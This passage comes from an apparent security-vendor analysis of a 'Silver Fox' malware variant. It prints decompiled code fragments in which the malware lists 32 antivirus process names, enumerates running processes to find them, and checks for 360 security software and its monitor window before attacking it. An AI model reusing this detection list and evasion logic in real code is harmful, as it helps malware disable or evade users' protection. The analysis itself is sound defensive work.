huorong.cn, as data

# 纯干货 | "银狐"变种: 技术分析揭穿病毒多层混淆虚拟化伪装#### (1) 通用式检测是否安装安全软件360Safe.exe 360sd.exe 360rp.exe 360rps.exe 360Tray.exe ZhuDongFangYu.exe 360leakfixer.exe 360sdrun.exe 360sdupd.exe 360FileGuard.exe dep360.exe HipsMain.exe HipsDaemon.exe HipsTray.exe HRUpdate.exe HipsLog.exe LeaovoPcManagerService.exe LenovoPcManager.exe LAVService.exe LenovoTray.exe wsctrl7.exe wsctrl10.exe wsctrl11.exe Bka.exe BLuPro.exe BkavService.exe BkavUtil.exe cefutil.exe QHSafeMain.exe QHSafeTray.exe QQPCTray.exe QQPCRTP.exe__int64 DetectSafeSoftwareAndReturnProcessId()static const char* safeList[32] = {"360Safe.exe","360sd.exe","360rp.exe","360rps.exe","360Tray.exe","ZhuDongFangYu.exe","360leakfixer.exe","360sdrun.exe","360sdupd.exe","360FileGuard.exe","dep360.exe","HipsMain.exe","HipsDaemon.exe","HipsTray.exe","HRUpdate.exe","HipsLog.exe","LeaovoPcManagerService.exe","LenovoPcManager.exe","LAVService.exe","LenovoTray.exe","wsctrl7.exe","wsctrl10.exe","wsctrl11.exe","Bka.exe","BLuPro.exe","BkavService.exe","BkavUtil.exe","cefutil.exe","QHSafeMain.exe","QHSafeTray.exe","QQPCTray.exe","QQPCRTP.exe"HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (snap == INVALID_HANDLE_VALUE)if (!_stricmp(pe.szExeFile,safeList[i])) {} while (Process32Next(snap,&pe));#### (2) 针对360进行检测与攻击病毒通过寻找是否有360tray.exe,360sd.exe,360safe.exe或者存在类名为"Q360SafeMonClass"窗口的方式确定是否有360安全软件正在运行。if (GetProcessIdByName("360tray.exe") != 0) // 360Trayif (GetProcessIdByName("360sd.exe") != 0) // 360SDif (GetProcessIdByName("360safe.exe") != 0) // 360Safeconst char *cls = decrypt_data_7(get_encrypt_data_6(tmpBuf,tmpKey)); // Q360SafeMonClassif (FindWindowExA(NULL,NULL,cls,NULL) != NULL)__int64 StartAddress(void *Parameter)HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (hSnapshot != INVALID_HANDLE_VALUE)if (Process32First(hSnapshot,&pe))const char *name = pe.szExeFile;EnumWindows(EnumFunc,pe.th32ProcessID);HWND hWnd = FindWindowExA(NULL,NULL,"Q360SafeMonClass",NULL);